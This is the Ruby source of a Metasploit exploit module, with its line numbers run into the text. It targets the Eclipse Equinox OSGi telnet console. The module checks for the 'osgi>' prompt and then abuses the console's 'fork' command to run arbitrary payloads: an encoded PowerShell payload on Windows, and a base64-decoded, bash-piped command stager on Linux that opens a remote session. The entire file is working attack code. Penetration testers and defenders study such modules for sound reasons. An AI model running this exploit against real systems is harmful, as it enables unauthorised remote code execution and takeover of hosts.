Path: blob/master/modules/exploits/multi/misc/osgi_console_exec.rb
31205 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4require 'base64'56class MetasploitModule < Msf::Exploit::Remote7Rank = NormalRanking89include Msf::Exploit::Remote::Tcp10include Msf::Exploit::CmdStager11include Msf::Exploit::Powershell1213TELNET_IAC = Msf::Exploit::Remote::Telnet1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Eclipse Equinox OSGi Console Command Execution',20'Description' => %q{21Exploit Eclipse Equinox OSGi (Open Service Gateway initiative) console22'fork' command to execute arbitrary commands on the remote system.23},24'Author' => [25'Quentin Kaiser <[email protected]>'26],27'License' => MSF_LICENSE,28'References' => [29['URL', 'https://www.eclipse.org/equinox/documents/quickstart-framework.php']30],31'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],32'Targets' => [33[ 'Linux (Bash Payload)', { 'Platform' => 'linux' } ],34[ 'Windows (Powershell Payload)', { 'Platform' => 'win' } ]35],36'CmdStagerFlavor' => [ 'bourne' ],37'DisclosureDate' => '2018-02-13',38'DefaultTarget' => 0,39'Notes' => {40'Reliability' => UNKNOWN_RELIABILITY,41'Stability' => UNKNOWN_STABILITY,42'SideEffects' => UNKNOWN_SIDE_EFFECTS43}44)45)46deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')47register_options([48OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])49])50end5152def check53connect54res = sock.get_once55if res == TELNET_IAC::IAC + TELNET_IAC::WILL + TELNET_IAC::OPT_ECHO + \56TELNET_IAC::IAC + TELNET_IAC::WILL + TELNET_IAC::OPT_SGA + \57TELNET_IAC::IAC + TELNET_IAC::DO + TELNET_IAC::OPT_NAWS + \58TELNET_IAC::IAC + TELNET_IAC::DO + TELNET_IAC::OPT_TTYPE59# terminal type 'xterm-256color' = \x78\x74\x65\x72\x6D\x2D\x32\x35\x36\x63\x6F\x6C\x6F\x7260sock.put(TELNET_IAC::IAC + TELNET_IAC::SB + TELNET_IAC::OPT_TTYPE + \61"\x00xterm-256color" + TELNET_IAC::IAC + TELNET_IAC::SE)62res = sock.get_once63end64disconnect65if res && res == 'osgi> '66return Exploit::CheckCode::Vulnerable67end6869Exploit::CheckCode::Safe70end7172def exploit73print_status('Accessing the OSGi console ...')7475unless check == Exploit::CheckCode::Vulnerable76fail_with(Failure::NoTarget, "#{peer} - Failed to access the OSGi console")77end7879if target['Platform'] == 'win'80exec_command("fork \"#{cmd_psh_payload(payload.encoded, payload_instance.arch.first, { encode_final_payload: true, remove_comspec: true })}\"")81else82execute_cmdstager({ flavor: :bourne })83end8485print_status("#{rhost}:#{rport} - Waiting for session...")8687(datastore['TIME_WAIT']).times do88Rex.sleep(1)89# Success! session is here!90break if session_created?91end92rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e93fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")94ensure95disconnect96end9798def exec_command(cmd)99connect100res = sock.get_once101if res == TELNET_IAC::IAC + TELNET_IAC::WILL + TELNET_IAC::OPT_ECHO + \102TELNET_IAC::IAC + TELNET_IAC::WILL + TELNET_IAC::OPT_SGA + \103TELNET_IAC::IAC + TELNET_IAC::DO + TELNET_IAC::OPT_NAWS + \104TELNET_IAC::IAC + TELNET_IAC::DO + TELNET_IAC::OPT_TTYPE105sock.put(TELNET_IAC::IAC + TELNET_IAC::SB + TELNET_IAC::OPT_TTYPE + \106"\x00xterm-256color" + TELNET_IAC::IAC + TELNET_IAC::SE)107sock.get_once108end109print_status('Exploiting...')110sock.put("#{cmd}\r\n")111sock.get112sock.put("disconnect\r\n")113sock.get114sock.put("y\r\n")115end116117def execute_command(cmd, _opts = {})118cmd_b64 = Base64.encode64(cmd).gsub(/\s+/, '')119# Runtime.getRuntime().exec() workaround on Linux. Requires bash.120exec_command("fork \"bash -c {echo,#{cmd_b64}}|{base64,-d}|{bash,-i}\"")121end122end123124125